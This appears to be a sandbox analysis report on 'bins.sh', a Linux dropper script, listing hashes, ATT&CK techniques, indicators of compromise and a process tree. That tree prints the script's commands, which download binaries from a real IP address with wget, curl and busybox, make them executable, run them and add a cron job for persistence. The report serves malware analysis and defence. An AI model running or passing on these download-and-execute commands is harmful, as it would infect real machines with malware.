152f600ad8f342404a691907cd662de7a1335e4319ec9e34619075743b1ab319

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18/11/2024, 06:37

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General

Target
bins.sh
Size 10KB
Sample241118-hdgsjawkcl
SHA256 152f600ad8f342404a691907cd662de7a1335e4319ec9e34619075743b1ab319
MD5 7ad7ccefbb1b2e9ef025d0cc5bb07bc8
SHA1 c8d03d9e962290824dfbc3bede57d3f839257b56
SHA512 2724ed801f29b5fd97b1fcd658b84905a5e073f0ddeb4b291289509298ad7931207c7bf7c2b4935656823b5ffcd74a959fd34beedb1f3e11e58241a6e5f5540a
SSDEEP 192:m1dn7Jpe76GFDksUhh8F7wg5phYphIphT8wDhh0adHdzdctuikBBbQAB7wSweweL:o+ffhqhahT8wYK95ctV4EBteNF195ctI
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2027) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
679	chmod
782	chmod
790	chmod
796	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6	681	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
/tmp/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB	783	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
/tmp/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA	791	1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
/tmp/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ	797	FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ

Renames itself 1 IoCs

pid	Process
682	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.B4UeUz	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/12/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/700/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/748/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/166/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/302/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/997/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/753/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/839/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/882/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/995/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/305/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/719/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/767/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/886/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/907/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/1000/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/19/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/401/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/935/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/29/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/149/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/779/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/971/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/1012/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/837/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/20/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/643/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/695/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/697/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/811/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/820/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/836/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/928/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/943/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/1017/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/23/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/28/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/723/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/740/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/787/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/817/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/876/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/662/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/959/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/1001/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/605/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/694/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/976/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/986/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/6/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/74/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/651/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/698/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/744/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/930/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/953/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/5/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/823/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/891/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/900/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/938/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/1009/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
File opened for reading	/proc/727/cmdline	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6	wget
File opened for modification	/tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6	curl
File opened for modification	/tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6	busybox
File opened for modification	/tmp/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB	busybox
File opened for modification	/tmp/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA	busybox
File opened for modification	/tmp/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:651
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:655
- /usr/bin/wget
  wget http://87.120.125.191/bins/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  2⤵
  - Writes file to tmp directory
  PID:661
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:668
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  2⤵
  - Writes file to tmp directory
  PID:677
- /bin/chmod
  chmod 777 ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  ./ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:681
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:683
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:684
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:685
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:687
- /bin/rm
  rm ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  2⤵
  PID:690
- /usr/bin/wget
  wget http://87.120.125.191/bins/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  2⤵
  PID:733
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  2⤵
  PID:779
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  2⤵
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod 777 pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  ./pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  2⤵
  - Executes dropped EXE
  PID:783
- /bin/rm
  rm pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  2⤵
  PID:785
- /usr/bin/wget
  wget http://87.120.125.191/bins/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  2⤵
  PID:788
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  2⤵
  - Writes file to tmp directory
  PID:789
- /bin/chmod
  chmod 777 1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  ./1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  2⤵
  - Executes dropped EXE
  PID:791
- /bin/rm
  rm 1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  2⤵
  PID:792
- /usr/bin/wget
  wget http://87.120.125.191/bins/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
  2⤵
  PID:793
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
  2⤵
  PID:794
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
  2⤵
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
  ./FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
  2⤵
  - Executes dropped EXE
  PID:797
- /bin/rm
  rm FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
  2⤵
  PID:799
- /usr/bin/wget
  wget http://87.120.125.191/bins/YTS5LQ24CDhZG4WHABu6vFMuuC9MqwwLWq
  2⤵
  PID:802

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA

Path /tmp/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

Submit Download

FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ

Path /tmp/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
Size 117KB
SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
MD5 849fa04ef88a8e8de32cb2e8538de5fe
SHA1 c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA512 2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
SSDEEP 3072:VozXHIisGFgyKB7xlBAUNFd4vm4QbZJmf35zPp:bGmyKBxl2U+vm4QbZJm/5zPp
MD5 SHA1 SHA512 SSDEEP

Submit Download

ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6

Path /tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

Submit Download

pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB

Path /tmp/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.B4UeUz

Path /var/spool/cron/crontabs/tmp.B4UeUz
Size 210B
SHA256 37c85c997f61e20aac87fee306d671a077d05f7ae5a1341db72a7672c0ee5f84
MD5 c0612df4a6178c1ae844b94432baf8dc
SHA1 9b1b3d87effb1721900bd3f1ee9c84d2b5f08f82
SHA512 dbd4a3eb6761b5a808eb7c629d1af5a8c3e7bd475a67c2a1d84f23cdd160641058c0e0e82b6b36cd9df44ddc93ccb28cbecceee753540bf815718c44b3aa66ec
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads